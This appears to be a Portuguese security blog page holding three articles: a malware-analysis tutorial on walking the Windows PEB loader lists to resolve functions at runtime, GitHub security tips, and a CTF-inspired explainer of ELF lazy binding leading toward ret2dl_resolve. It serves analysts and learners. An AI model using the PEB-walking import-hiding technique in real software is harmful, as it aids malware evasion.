Utilizando o comando !peb no WinDbg: 0:013> !peb PEB at 00000049bc0a6000     InheritedAddressSpace:    No     ReadImageFileExecOptions: No     BeingDebugged:            Yes     ImageBaseAddress:         00007ff72dbf0000     NtGlobalFlag:             0     NtGlobalFlag2:            0     Ldr                       00007ff8d983a4c0     Ldr.Initialized:          Yes     Ldr.InInitializationOrderModuleList: 000001c697902a40 . 000001c6979a7f50     Ldr.InLoadOrderModuleList:           000001c697902bb0 . 000001c6979a6fc0     Ldr.InMemoryOrderModuleList:         000001c697902bc0 . 000001c6979a6fd0                     Base TimeStamp                     Module             7ff72dbf0000 4178aed3 Oct 22 03:55:15 2004 C:\windows\system32\notepad.exe             7ff8d96d0000 7b5414ec Jul 26 21:12:28 2035 C:\windows\SYSTEM32\ntdll.dll             7ff8d7ea0000 4e5c27cf Aug 29 20:59:11 2011 C:\windows\System32\KERNEL32.DLL             7ff8d7020000 458acb5b Dec 21 14:58:51 2006 C:\windows\System32\KERNELBASE.dll             7ff8d7d50000 af7f8e80 Apr 21 06:12:32 2063 C:\windows\System32\GDI32.dll [...] Utilizando a ferramenta XNTSV do Hors:
Também podemos obter o endereço com as funções RltGetCurrentPeb() ou  NtQuerySystemInformation. Enfim, você já viu que jeito tem. ? DICA DE ANÁLISE: Sempre que você ver uma das funções citadas acima ou trechos de código que acessem os locais citados (fs:[0x30] em x86, por exemplo) fique atento e tente descobrir o que exatamente está sendo acessado.
Como já foi comentado, a PEB possui diversos campos importantes em sua estrutura. Consequentemente, estes campos são acessados com frequência por diversas funções da API do Windows. A título de curiosidade, abaixo estão alguns exemplos (em x64) de funções que consultam campos da PEB diretamente:
IsDebuggerPresent: consulta o campo BeingDebugged para saber se o processo está sendo debuggado ou não:
GetProcessHeap: obtém um handle para a Heap do processo em questão através do campo ProcessHeap:
GetModuleHandle: obtém um “handle” (endereço base, neste caso) do módulo especificado. Caso o parâmetro da função seja zero (perceba a instrução test rcx, rcx a seguir), o endereço base do próprio módulo é obtido através do campo ImageBaseAddress da PEB:
Ok, a PEB tem vários campos interessantes, mas qual deles tem a ver com os endereços das funções que queremos? Vamos lá!
Loaded Modules Database
Resumidamente, no processo de carregamento de um binário PE, uma das tarefas do Loader do Windows é identificar as DLLs das quais o binário depende. Ele faz isso parseando o Import Directory do binário. Caso alguma função pertença à uma DLL que ainda não está carregada em memória, ela é mapeada no processo e suas dependências resolvidas da mesma forma explicada anteriormente: parseando a lista de imports e carregando as devidas DLLs que exportam estes imports até que todas as dependências sejam satisfeitas.
Agora pense no seguinte cenário: e se a função LoadLibrary for chamada para carregar uma DLL qualquer em tempo de execução? Como que o loader checa se a DLL em questão já foi carregada? Não seria muito performático fazer tudo de novo. Por estes e outros motivos, o loader precisa de uma forma de controlar o que já foi carregado no processo.
Dentro da PEB existe um campo chamado Ldr do tipo PPEB_LDR_DATA e este campo representa o que podemos chamar de “Loaded Modules Database”. Este campo possui três listas duplamente linkadas que contêm informações sobre os módulos já carregados dentro do espaço de endereço de um processo.
E por que três listas? No fim das contas todas mostram a mesma coisa, mas são organizadas de formas diferentes, sendo uma organizada de acordo com a ordem de carregamento (InLoadOrderModuleList), outra de acordo com o endereço que o módulo foi mapeado (InMemoryOrderModuleList) e outra via ordem de inicialização (InInitializationOrderModuleList). Segue a estrutura PPEB_LDR_DATA, de acordo com o WinDbg:
0:010> dt _PEB_LDR_DATA ntdll!_PEB_LDR_DATA    +0x000 Length           : Uint4B    +0x004 Initialized      : UChar    +0x008 SsHandle         : Ptr64 Void    +0x010 InLoadOrderModuleList : _LIST_ENTRY    +0x020 InMemoryOrderModuleList : _LIST_ENTRY    +0x030 InInitializationOrderModuleList : _LIST_ENTRY    +0x040 EntryInProgress  : Ptr64 Void    +0x048 ShutdownInProgress : UChar    +0x050 ShutdownThreadId : Ptr64 Void [...] Talvez você tenha notado que as três listas mencionadas anteriormente são do tipo LIST_ENTRY e seguem o seguinte formato:
typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;   struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; A sacada aqui é que estas estruturas estão contidas dentro de uma estrutura maior chamada LDR_DATA_TABLE_ENTRY (apresentada com mais detalhes em breve). Dentro de cada LDR_DATA_TABLE_ENTRY há um campo também do tipo LIST_ENTRY para cada uma das três listas, onde o campo Blink aponta para a entrada anterior da lista e o campo Flink para a entrada posterior. Quando a entrada atual é igual à primeira entrada, atingimos o fim da lista. 

*Se você não entendeu muito bem, vale dar uma lida sobre listas duplamente ligadas e na documentação da estrutura.
Durante o processo de carregamento, para cada DLL mapeada, o loader adiciona uma entrada do tipo LDR_DATA_TABLE_ENTRY na lista. Quando um módulo é “descarregado”, esta entrada é removida. 
*Essa inserção e remoção se aplica também quando chamamos funções como LoadLibrary e FreeLibrary, por exemplo. 
Abaixo são alguns dos campos presentes em cada uma destas entradas do tipo LDR_DATA_TABLE_ENTRY:
0:010> dt _LDR_DATA_TABLE_ENTRY ntdll!_LDR_DATA_TABLE_ENTRY    +0x000 InLoadOrderLinks : _LIST_ENTRY    +0x010 InMemoryOrderLinks : _LIST_ENTRY    +0x020 InInitializationOrderLinks : _LIST_ENTRY    +0x030 DllBase          : Ptr64 Void    +0x038 EntryPoint       : Ptr64 Void    +0x040 SizeOfImage      : Uint4B    +0x048 FullDllName      : _UNICODE_STRING    +0x058 BaseDllName      : _UNICODE_STRING    +0x068 FlagGroup        : [4] UChar    +0x068 Flags            : Uint4B    +0x068 PackagedBinary   : Pos 0, 1 Bit    +0x068 MarkedForRemoval : Pos 1, 1 Bit    +0x068 ImageDll         : Pos 2, 1 Bit    +0x068 LoadNotificationsSent : Pos 3, 1 Bit    +0x068 TelemetryEntryProcessed : Pos 4, 1 Bit    +0x068 ProcessStaticImport : Pos 5, 1 Bit [...] Como podemos ver, bastante informação é exposta, incluindo o nome do módulo, o endereço base e o entry point. 
*Em x86 o campo Ldr fica 0xC bytes de distância do endereço base da PEB. Já x64, essa distância é de 0x18 bytes.
Agora que sabemos como o loader controla os módulos carregados e como acessar esta informação, o que nos falta para obter o endereço base dos módulos e suas funções exportadas é codar!
Implementação
Uma vez que sabemos que é possível obter o endereço base e o nome dos módulos carregados de um processo de forma estável, podemos percorrer esta lista de módulos a fim de obter o endereço base dos módulos que queremos. O trecho de código abaixo é uma demonstração de como poderíamos percorrer essa lista e printar todos os nomes e endereços base dos módulos mapeados dentro do nosso processo:
inline PPEB get_peb() { #if defined(_WIN64)     return (PPEB)__readgsqword(0x60); #else     return (PPEB)__readfsdword(0x30); } int main() {     PPEB peb = get_peb();     PLDR_DATA_TABLE_ENTRY current_module = NULL;     PLIST_ENTRY current_entry = peb->Ldr->InLoadOrderModuleList.Flink;     while (current_entry != &peb->Ldr->InLoadOrderModuleList && current_entry != NULL){         current_module = CONTAINING_RECORD(current_entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);         printf("Module Name: %ls\n", current_module->BaseDllName.Buffer);         printf("Module Image Base Address: 0x%p\n", current_module->DllBase);         current_entry = current_entry->Flink;     } } Com a devida checagem de qual módulo estamos interessados e com seu endereço base em mãos, podemos parsear o módulo como se fosse um binário PE (até porque ele é) e então parsear sua tabela de exportação. Nesta tabela estão localizados todos os nomes/ordinais e endereços das funções que um módulo exporta (já viu onde isso pode dar, né?).
Analisando a tabela de exportação da kernel32.dll, por exemplo, podemos obter o endereço da função LoadLibrary em tempo de execução. Ao carregarmos o módulo desejado com a LoadLibrary, podemos parsear a tabela de exportação do módulo e obter a função exportada que quisermos. E não! Não precisamos da GetProcAddress uma vez que já vamos ter acesso ao endereço base de todos os módulos que precisamos e isto é o suficiente para chegarmos até a tabela de exportação.
Dependendo das funções nas quais você tem interesse, nem da LoadLibrary você vai precisar, uma vez que, por padrão, é bem provável que módulos comuns como o kernel32.dll, já tenham sido carregados pelo loader no seu processo.
*Caso você queira garantir que um módulo específico seja mapeado no seu processo, você pode importar no seu código qualquer função aleatória exportada por tal módulo. Desta forma, você irá forçar o loader a mapeá-lo em tempo de carregamento.
DICAS DE ANÁLISE: 
Não confie 100% na PEB. Quando falo em estabilidade, estou me referindo ao fato dela estar sempre presente na memória do processo e não que seus campos refletem a realidade sempre. Qualquer um que tenha acesso à memória do processo (o próprio malware rodando, por exemplo) pode alterar os campos da PEB.  Módulos injetados via Reflective Injection, por exemplo, burlam esta adição na lista de módulos feita pelo loader, como já comentado no nosso artigo anterior. Nunca assuma que um software não utiliza uma determinada função só porque ela não está presente na tabela de importação. Já vimos que isto está bem longe de ser verdade. Colocar breakpoints em funções como LoadLibrary e GetProcAddress, mesmo quando um software utiliza Runtime Linking é uma alternativa interessante. No entanto, não ache que essas funções são sempre necessárias. A ntdll.dll no fim das contas é tudo que você precisa (até porque a LoadLibrary não é quem faz o verdadeiro trabalho, certo? ?). Lembrando que a ntdll.dll é sempre o primeiro módulo a ser mapeado em um processo e está sempre presente em aplicações em user-mode. Vou deixar a implementação completa como desafio para você que está lendo. Vale também jogar seu binário em um debugger e analisá-lo, passo a passo, para fixar o que foi aprendido neste artigo.
Considerações e dicas finais
Uma das grandes vantagens de se utilizar a PEB para efetuar diversas atividades é a garantia de que ela sempre estará presente na memória de um processo. Se você leu o artigo anterior desta série, deve lembrar sobre Position Independent Code e o quanto este tipo de estabilidade ajuda em abordagens assim.
Em malwares, geralmente a técnica de Runtime Linking é implementada dentro de uma função que retorna o endereço da função desejada. Para estes casos, a forma mais rápida de se descobrir qual função está sendo obtida no momento é debuggar o binário, dar um Step Over sobre a função que obtém o endereço e olhar o valor de retorno (considerando que você não quer investir seu tempo analisando a função que parseia a PEB).
No entanto, não espere que isto seja sempre verdade e que a implementação seja tão direta, uma vez que muitas técnicas podem ser utilizadas para tornar a análise mais complexa. Algumas destas técnicas são:
Hashing Functions para esconder o nome dos módulos e funções sendo buscadas. Inserção de junk code (trechos de código totalmente irrelevantes) para tornar a análise mais chata e complexa. Execução da função desejada dentro da própria função que parseia a PEB. Inserção dos endereços obtidos em uma tabela similar à Import Address Table (IAT), porém criada e mantida pelo código do malware ou em variáveis globais que serão utilizadas posteriormente. Nos casos 1 e 2, se o endereço da função for retornado pela função que parseia a PEB, independentemente da técnica implementada dentro dela, o endereço da função será retornado e fica fácil identificá-lo. Já para os casos 3 e 4, nenhum endereço será retornado e você precisará analisar a função de parsing da PEB para saber onde estes endereços de funções estão sendo resolvidos.
A chave para identificar a técnica de Runtime Linking é ficar atento a padrões, pois por mais que um malware possa implementar técnica X ou Y para esconder a técnica, a PEB ainda precisa ser parseada e a lista de módulos carregados ainda precisa ser obtida.
O trecho abaixo é parte de um shellcode gerado pelo framework Cobalt Strike. Este shellcode implementa a técnica de Runtime Linking e utiliza ROR13 como sua hashing function. Note como os padrões de acesso a PEB e a export table dos módulos estão bem claros independente do resto:

A imagem abaixo é a visão tanto do código decompilado quanto disassemblado do Ransomware Conti. O padrão a ser notado aqui é o mais comum entre malwares: implementação de uma função que cuida do hashing, do parsing da PEB, e então retorna o endereço da função desejada para ser utilizado posteriormente:

 

Cada caso vai ser um caso e o céu é o limite. No entanto, ao sabermos como o sistema operacional lida com tais componentes e como identificar tais padrões, fica muito mais prático lidar com possíveis variações da técnica. ?
Espero que tenham gostado do artigo e qualquer dúvida, sugestão ou feedback, é só comentar que estou à disposição.
Abs,
Leandro
  • 1,737 views
O GitHub é reconhecido como uma das principais redes de gerenciamento e armazenamento de código do mundo, sendo uma ferramenta que integra o cotidiano de um Dev, seja qual for o seu nível de experiência.
Mas será que seu código no GitHub está sendo armazenado com segurança?
O GitHub fornece várias ferramentas e configurações voltadas à segurança. Apesar disso, segundo uma pesquisa de 2019, o problema de segurança no GitHub está relacionado, muitas vezes, com o próprio comportamento de seus usuários por falta de conhecimento em desenvolvimento seguro (AppSec).
Neste post, abordaremos algumas dicas de segurança importantes que toda pessoa dev precisa ficar ligada ao manter seu repositório por lá! Ah, e não deixe de conferir também um artigo sobre como manter seu código seguro no GitHub com a integração da Conviso Platform.
Vamos às dicas:
 
Não armazene credenciais como código ou configuração no seu GitHub
Apesar de parecer uma recomendação óbvia, é muito comum o armazenamento de senhas em repositórios no GitHub. Isso pode acontecer de forma indireta ou involuntária.
Para isso, existem ferramentas como git-secrets, Vault, Keycloak que analisam estaticamente seus commits para garantir que você não tente enviar senhas ou informações confidenciais em seus repositórios.
Além do uso das ferramentas, uma recomendação muito importante é a conscientização de todo o time de desenvolvimento no policiamento de ações no fluxo de trabalho, buscando sempre validar a segurança do código e realizar auditorias de segurança. 
 
Adicione um arquivo SECURITY.md em seu projeto
Todos sabem da importância de ter um README.md bem escrito e estruturado em seu repositório. Com o SECURITY.md não deve ser diferente. Esse arquivo representa a política de segurança do seu código, destacando as principais informações que envolvem o tema.
O objetivo do SECURITY.md é documentar formalmente os processos e procedimentos relacionados à segurança, incluindo relatórios de vulnerabilidade, requisitos de confidencialidade, padrões de criptografia, acessibilidade de token, uso de endereço de e-mail, requisitos HTTPS e entre outros procedimentos para manter a integridade dos dados da sua aplicação.
Alguns tópicos importantes que você pode se guiar para estruturar seu arquivo SECURITY.md:
●     Política de divulgação;
●     Política de atualização de segurança;
●     Configuração relacionada à segurança;
●     Lacunas de segurança reconhecidas e melhorias futuras.
 
De modo geral, um arquivo SECURITY.md representa a política de segurança para seu código no GitHub. Você pode encontrar exemplos de arquivos SECURITY.md no repositório Apache Storm, que define estruturas de organização semelhantes à apresentada acima.
 
Gerencie os níveis de acesso e permissões de membros do seu repositório
Desenvolvedores com acesso ao seu repositório podem receber permissões além do que o exigido pelo escopo de sua função. Desenvolvedores podem acidentalmente mudar as configurações de seu repositório, como alterar sua visibilidade.
Para evitar isso, recomendamos definir a capacidade de alterar a visibilidade do repositório apenas para os proprietários da organização.
Faça isso navegando até "Permissões de membro" nas configurações da sua organização e gerenciando essas permissões para manter o controle e segurança de acessos.
Lembre-se de verificar regularmente os níveis de acesso de desenvolvedores terceirizados/externos.
 
Estabeleça uma revisão de código, antes de fazer o commit
Adicionar revisões de código ajuda a evitar que códigos maliciosos sejam incorporados em seus repositórios.
Assim, as práticas de revisão de segurança facilitam a identificação de vulnerabilidades e problemas de risco de segurança de longo prazo, evitando problemas futuros.
Para lidar com isso, o próprio GitHub possui um recurso de pull_request que permite que membros autorizados da equipe discutam e revisem possíveis alterações antes de mesclar o código no branch base. Dessa forma, quando uma pull request é feita, os responsáveis podem ser notificados para revisão.
 
Determine testes de segurança aos PRs
A própria plataforma do GitHub possui uma ferramenta conhecida como Git Hook orientada a eventos que permite enviar solicitações HTTP POST a um serviço de sua escolha. Existem vários eventos que você pode definir para a ferramenta agir, sendo um dos mais úteis o evento pull_request para testar as alterações de código.
 
Audite qualquer código que for importar ao GitHub
Durante a construção de uma aplicação, há momentos em que é muito fácil adicionar blocos de códigos externos para agilizar e facilitar o processo de desenvolvimento. Ao mesmo tempo, partes do código de sua aplicação também podem acabar entrando em outros repositórios.
No entanto, importação de código legado ou de pacotes externos pode acabar adicionando vulnerabilidades em seu repositório, como o Log4j.
Dessa forma, definir um requisito de segurança para auditar todo o código que é carregado no GitHub é uma prática muito importante para proteger sua aplicação de códigos legados ou com vulnerabilidades.
 
Planeje seu projeto com segurança em mente
Uma prática importante para o desenvolvimento de qualquer tipo de aplicação é o planejamento de segurança antes mesmo de iniciar a codificação.
Fazendo esse planejamento de segurança, se preocupando também com a qualidade, você escreverá um código melhor e mais seguro, atraindo atenção aos seus repositórios. Dessa forma, ao construir seu projeto com segurança, menos tempo será gasto tratando vulnerabilidades no futuro.
Além de planejar, integrar seu projeto com plataformas de segurança contribui para a centralização das informações, estruturação do processo de revisão de cada commit e gerenciamento de vulnerabilidades. 
Se você é dev ou tem interesse em saber mais sobre segurança de aplicações, não deixe de conferir o canal de YouTube da Conviso - estamos criando vários vídeos super informativos e dinâmicos sobre AppSec por lá.
Inscreva-se no YouTube da Conviso!
 
 
  • 2,664 views
Introdução
 
Escrevi este artigo pois me deparei recentemente, durante um CTF, com uma técnica Return Oriented Programming (ROP) que não conhecia, chamada de ret2dl ou ret2dl_resolve, e precisei entender como esse processo de chamada de uma função externa funciona (pelo menos, o seu início!).
Este texto foi baseado nestes excelentes artigos em inglês https://ypl.coffee/dl-resolve/ e https://syst3mfailure.io/ret2dl_resolve, mas complementei o assunto com algumas informações extras que achei relevante. Deixo também como referência um paper de 2015 muito bem escrito da USENIX  para estudos. Recomendo a sua leitura.
Para alinharmos sobre o que foi usado, este artigo tem como base a arquitetura AMD x86 64 bits, sistema operacional Linux, a função externa puts(), e o programa helloworld.c compilado:
$ cat <<'EOF' > helloworld.c  # usando o "Here Documents" do bash para criarmos o arquivo // helloworld.c // Compilar com: gcc -Wall -O2 -Wl,-z,lazy helloworld.c -o helloworld //                                     *---> "lazy-binding" #include <stdio.h> int main(void) {   puts("Hello World!"); // função externa: o código da "puts()" está localizado na LIBC   return 0; } EOF Do ponto de vista da funcionalidade, este código é BEM simples pois "só" imprime "Hello World" na tela. Entretanto, do ponto de vista do sistema operacional, o processo é bem mais complexo (deixo aqui um link interessante sobre o assunto: https://lwn.net/Articles/631631/). Como será visto, ao se chamar a puts(), acontecem várias chamadas de funções externas, com o objetivo de se descobrir qual é o endereço dessa função.
O processo de chamada de uma função externa é complexo, mas por que isso acontece?
Resumidamente, por causa das proteções que um binário ELF moderno possui. Atualmente, há vários métodos para se proteger binários ELF.
Podemos compilar o programa usando o PIE (Executável Independente de Posição), onde todas as suas dependências (normalmente shared objects) são carregadas em locais aleatórios na memória virtual sempre que o aplicativo é executado.
Isso acontece graças a uma implementação do kernel chamada ASLR (Address Space Layout Randomization) e, teoricamente, fica difícil de se prever em qual endereço de memória virtual o binário foi carregado, principalmente em programas compilados em 64 bits, devido ao seu grande espaço de endereçamento.
Tendo em mente este conceito de randomização de endereços, ao se executar um binário, a LIBC é carregada em memória e o endereço de suas funções são descobertos em tempo de execução. Essa descoberta pode acontecer, basicamente, de duas maneiras, dependendo de como o binário foi compilado (na verdade, essa é uma característica do linker, mais especificamente do GNU ld, e não do compilador GCC):
Partial RELRO: O endereço da função externa é descoberto no momento de se chamar a própria função, em um processo chamado de lazy-binding ou, traduzindo, "amarração tardia" (link editado com -Wl,-z,lazy). Neste cenário, a inicialização do binário é mais rápida e a parte não-PLT da seção GOT (.got) é read-only, mas a seção .got.plt é writable. Vou explicar sobre essas seções mais adiante. Full RELRO: Todos os endereços das funções externas são descobertos ao se iniciar o binário (link editado com -Wl,-z,now), levando a um processo de inicialização mais demorado. Todo o GOT (.got e .got.plt) é marcado como somente read-only. Mas o que é RELRO?
Relocation Read-Only (RELRO) é uma técnica genérica de mitigação de exploração para proteger as seções de dados de um binário ou processo ELF.
Neste processo de descoberta do endereço da função externa, as seções .got e .got.plt são usadas?
Sim! Essas duas seções são as mais importantes para o processo e trabalham em conjunto no processo de lazy-binding: o Procedure Linkage Table (PLT)  e o Global Offset Table (GOT). A seção .plt é sempre read-only e contém código executável, responsável por iniciar o processo de descoberta do endereço da função externa e fazer a sua chamada. 
A GOT não contém código executável e é responsável por armazenar os endereços das funções externas. Abaixo mostrarei o dump de cada uma. Cada função externa que foi declarada no binário possui uma área na seção got.plt, para que seu endereço virtual seja armazenado, e uma área na .plt, onde será chamada (através de, literalmente, um jump).
 A seção <nome da função>@plt é sempre usada quando as funções externas precisam ser chamadas pelo binário (você entenderá isso no dump). Neste exemplo, temos a puts@plt.
Nosso binário foi link editado com o modo lazy-binding, ou seja, possui Parcial RELRO. Seguem algumas informações sobre:
$ file helloworld helloworld: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccf36bd5d7298575faf6c5d7612b07306264be7d, for GNU/Linux 4.4.0, not stripped $ ldd helloworld    # como podem perceber, nosso binário possui 3 dependências     linux-vdso.so.1 (0x00007ffe78cb2000)     libc.so.6 => /usr/lib/libc.so.6 (0x00007efd5a156000)     /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007efd5a38f000) $ checksec -f helloworld [*] '/tmp/helloworld'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      PIE enabled Iniciando a chamada da "puts()"
 
Por onde começamos? Vamos fazer um objdump em nosso binário, mais especificamente na chamada da puts( de dentro da main():
$ objdump -dM intel helloworld    # obs: saída com adaptações ... 0000000000001040 <main>:     0x1040:     48 83 ec 08             sub    rsp,0x8     0x1044:     48 8d 3d b9 0f 00 00    lea    rdi,[addr of "Hello World!"] # RDI aponta para "Hello World!\n"     0x104b:     e8 e0 ff ff ff          call   0x1030                       # call <puts@plt> ... Obs: Como o binário está compilado com o PIE ativo, a saída do objdump mostra apenas os offsets (deslocamentos) das instruções.
Para se calcular o endereço virtual onde a função foi carregada, pega-se o endereço base do binário em execução (que é dinâmico devido ao PIE) e soma-se esse offset que está associado à função. No texto, algumas vezes descrevo endereço, mas, na verdade, estou querendo dizer offset. Enfim...
Exemplo: 0x555555554000 (endereço base dinâmico) + 0x1040 (offset da main()) = 0x555555555040 (endereço virtual da main())
Com o dump, verificamos que a instrução call puts()(0x104b) é feita para um código que está localizado na seção .plt, mais especificamente call <puts@plt>, e este código da .plt é responsável por chamar a puts()na LIBC.
Para entendimento, seguem os códigos da PLT e da GOT para a função puts():
0000000000001030 <puts@plt>:            # código responsável por chamar a "puts()" na LIBC     0x1030:     ff 25 e2 2f 00 00       jmp    QWORD PTR [0x4018]    # <puts@GLIBC_2.2.5>     0x1036:     68 00 00 00 00          push   0x0     0x103b:     e9 e0 ff ff ff          jmp    0x1020 <_init+0x20>   # jump para o início da ".plt" 0000000000004000 <_GLOBAL_OFFSET_TABLE_>: ...     0x4018:     36 10 00 00 00 00 00 00    # "0x1036" em "little-endian", apontando inicialmente para a "push" da "puts@plt". A call 0x1030 # <puts@plt> feita no endereço 0x104b da main()executa a instrução jmp QWORD PTR [0x4018]. O endereço apontado por [0x4018], resulta em 0x1036 (este código tem o mesmo efeito que jmp 0x1036), que está na própria puts@plt.
Como esta é a primeira chamada para a puts(), ainda não sabemos o verdadeiro endereço desta função na LIBC (lazy-binding) e o compilador inicia a GOT (em 0x4018) com o endereço 0x1036, que pertence a puts@plt (veja o comentário feito em 0x4018 acima).
O objetivo é descobrir o endereço da puts() dentro do shared object libc.so.6, para que o mesmo seja gravado na GOT no endereço 0x4018, substituindo o atual endereço 0x1036 pelo endereço virtual dessa função externa.
Quando o código em 0x1036 é executado, o mesmo dá um push 0x0 para a stack (segundo parâmetro reloc_index da função _dl_runtime_resolve() - explicarei essa função e parâmetro depois), e depois dá um jmp 0x1020 para o início da PLT, onde fica a call <_dl_runtime_resolve@plt>.
0000000000001020 <puts@plt-0x10>: # início da PLT "call <_dl_runtime_resolve@plt>"     0x1020:     ff 35 e2 2f 00 00       push   QWORD PTR [0x4008]      # 0x4008: "link_map"  <GOT+0x8>     0x1026:     ff 25 e4 2f 00 00       jmp    QWORD PTR [0x4010]      # 0x4010: "_dl_runtime_resolve()"  <GOT+0x10> Mas que função é essa _dl_runtime_resolve()?
No meu caso, a PLT chama a função _dl_runtime_resolve_xsavec(), responsável por descobrir, de alguma forma, o endereço da puts() na LIBC (para efeitos didáticos, vou considerar o nome da _dl_runtime_resolve_xsavec() como _dl_runtime_resolve()).
A instrução push [0x4008], localizada no endereço 0x1020, coloca o primeiro parâmetro link_map da função _dl_runtime_resolve() na stack. Por curiosidade, este endereço do struct "link_map" pertence ao espaço de endereçamento do dynamic linker/loader /lib64/ld-linux-x86-64.so.2, bem como a função _dl_runtime_resolve()(eu achava que esta _dl_runtime_resolve()era uma função da LIBC, mas descobri que não era usando o GDB durante a depuração, através do comando vmmap. Ele mostra todas as libs carregadas e o mapa de endereçamento virtual. (BEM útil!). Com estes dois parâmetros configurados na stack, podemos chamar a função _dl_runtime_resolve(link_map, reloc_index).
gef➤  vmmap [ Legend:  Code | Heap | Stack ] Start              End                Offset             Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/helloworld 0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/helloworld 0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/helloworld 0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/helloworld 0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/helloworld 0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap] 0x00007ffff7d8a000 0x00007ffff7d8c000 0x0000000000000000 rw-  0x00007ffff7d8c000 0x00007ffff7db8000 0x0000000000000000 r-- /usr/lib/libc.so.6 0x00007ffff7db8000 0x00007ffff7f2e000 0x000000000002c000 r-x /usr/lib/libc.so.6 0x00007ffff7f2e000 0x00007ffff7f82000 0x00000000001a2000 r-- /usr/lib/libc.so.6 0x00007ffff7f82000 0x00007ffff7f83000 0x00000000001f6000 --- /usr/lib/libc.so.6 0x00007ffff7f83000 0x00007ffff7f86000 0x00000000001f6000 r-- /usr/lib/libc.so.6 0x00007ffff7f86000 0x00007ffff7f89000 0x00000000001f9000 rw- /usr/lib/libc.so.6 0x00007ffff7f89000 0x00007ffff7f98000 0x0000000000000000 rw-  0x00007ffff7fc0000 0x00007ffff7fc4000 0x0000000000000000 r-- [vvar] 0x00007ffff7fc4000 0x00007ffff7fc6000 0x0000000000000000 r-x [vdso] 0x00007ffff7fc6000 0x00007ffff7fc8000 0x0000000000000000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7fc8000 0x00007ffff7fef000 0x0000000000002000 r-x /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7fef000 0x00007ffff7ffa000 0x0000000000029000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000034000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000036000 rw- /usr/lib/ld-linux-x86-64.so.2 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] Importante: os parâmetros para a função _dl_runtime_resolve()estão sendo passados pela stack (de acordo com a Linux x86_64 Calling Convention, os registradores rdi, rsi, rdx, rcx, r8 e r9 são reservados para a passagem de parâmetros das funções), "quebrando" esta calling convention da arquitetura Linux x86_64. Por que isso acontece? 
Os registradores da Calling Convention ficam reservados para a passagem dos parâmetros da função em evidência: a puts()utiliza o registrador rdi para armazenar o endereço do parâmetro Hello World! (0x1044: lea rdi,[addr of Hello World!]). Como os registradores estão "reservados", a passagem de parâmetro da _dl_runtime_resolve() é feita utilizando-se a stack. Achei bem interessante essa "quebra", pois pensava que sempre teríamos de respeitar essa Calling Convention... bem, nem sempre! ?
Quando utilizamos o Parcial RELRO, as entradas da .got.plt ficam configuradas assim:
offset para a seção .dynamic (calculado durante o processo de link-edição); endereço da link_map (armazenado ao se iniciar o ELF); endereço da função _dl_runtime_resolve() (armazenado ao se iniciar o ELF); endereço da puts()(descoberto ao se chamar a própria função); Vale lembrar que cada entrada da .got.plt possui 8 bytes (64 bits).
Estes conceitos podem parecer confusos, mas não são. Entre no GDB e faça o debugging da main(), passo a passo, entrando em cada função, e você entenderá melhor o que foi descrito até aqui. 
Use comandos simples do GDB como ni, si, vmmap e b*main para fazer a depuração, disas <endereço> para o disassembly e x/6gx <endereço> para verificar a memória.
Percebeu que um programa simples esconde processos bem mais complexos que, talvez, você nem desconfiava que existisse? Legal, né? Então, vamos continuar!

Por dentro da "_dl_runtime_resolve()"
Como descrito anteriormente, antes de chamarmos a _dl_runtime_resolve(), as seguintes estruturas são utilizadas durante processo: .plt e .got.plt
Depois que entramos nessa função, as estruturas \.dynamic, .rela.plt, .dynsym e .dynstr são utilizadas para encontrarmos o endereço da puts().
Mas, afinal, o que faz a _dl_runtime_resolve()? De forma geral:
Encontra a string puts\0, através das estruturas .dynamic, .rela.plt, .dynsym e .dynstr; Procura a puts()em todas as libs carregadas (shared objects) e encontra o seu endereço dinâmico na LIBC; Atualiza o endereço dinâmico da puts()na 4a entrada da seção .got.plt (0x4018); Faz um jump para puts()(apenas esta vez. Na próxima chamada, a função será chamada diretamente pela PLT - endereço 0x1030); Neste artigo, vamos mostrar em detalhes este primeiro item.
Cada entrada da seção .dynamic possui 16 bytes de tamanho, e é composta por dois campos: d_tag (8 bytes) e d_val (8 bytes). O campo d_val armazena os offsets para seções .rela.plt, .dynsym e .dynstr. Veja:
$ readelf -d helloworld     # saída com modificações Dynamic section at offset 0x2df8 contains 26 entries:  d_tag    Type                         Name/Value  0x01   (NEEDED)             Shared library: [libc.so.6]  ...  0x05   (STRTAB)             0x0488          # d_val = 0x0488 - offset para ".dynstr"  0x06   (SYMTAB)             0x03e0          # d_val = 0x03e0 - offset para ".dynsym"  ...  0x17   (JMPREL)             0x0618          # d_val = 0x0618 - offset para ".rela.plt" O campo d_tag armazena um valor inteiro para cada estrutura do ELF. Veja as definições em https://code.woboq.org/userspace/glibc/elf/elf.h.html. Por exemplo:
... #define DT_STRTAB        5            /* 0x05 - Address of string table */ #define DT_SYMTAB        6            /* 0x06 - Address of symbol table */ ... #define DT_JMPREL        23           /* 0x17 - Address of PLT relocs */ Tendo como referência o campo l_info da struct link_map e utilizando a seção .dynamic, a função _dl_runtime_resolve()consegue encontrar a .rela.plt (definida pela struct Elf64_Rela), e obtém um index que está vinculado ao campo r_info (veja mais informações sobre essa struct em https://man7.org/linux/man-pages/man5/elf.5.html), e usa esse index para localizar a seção .dynsym (definada pela struct Elf64_Sym). 
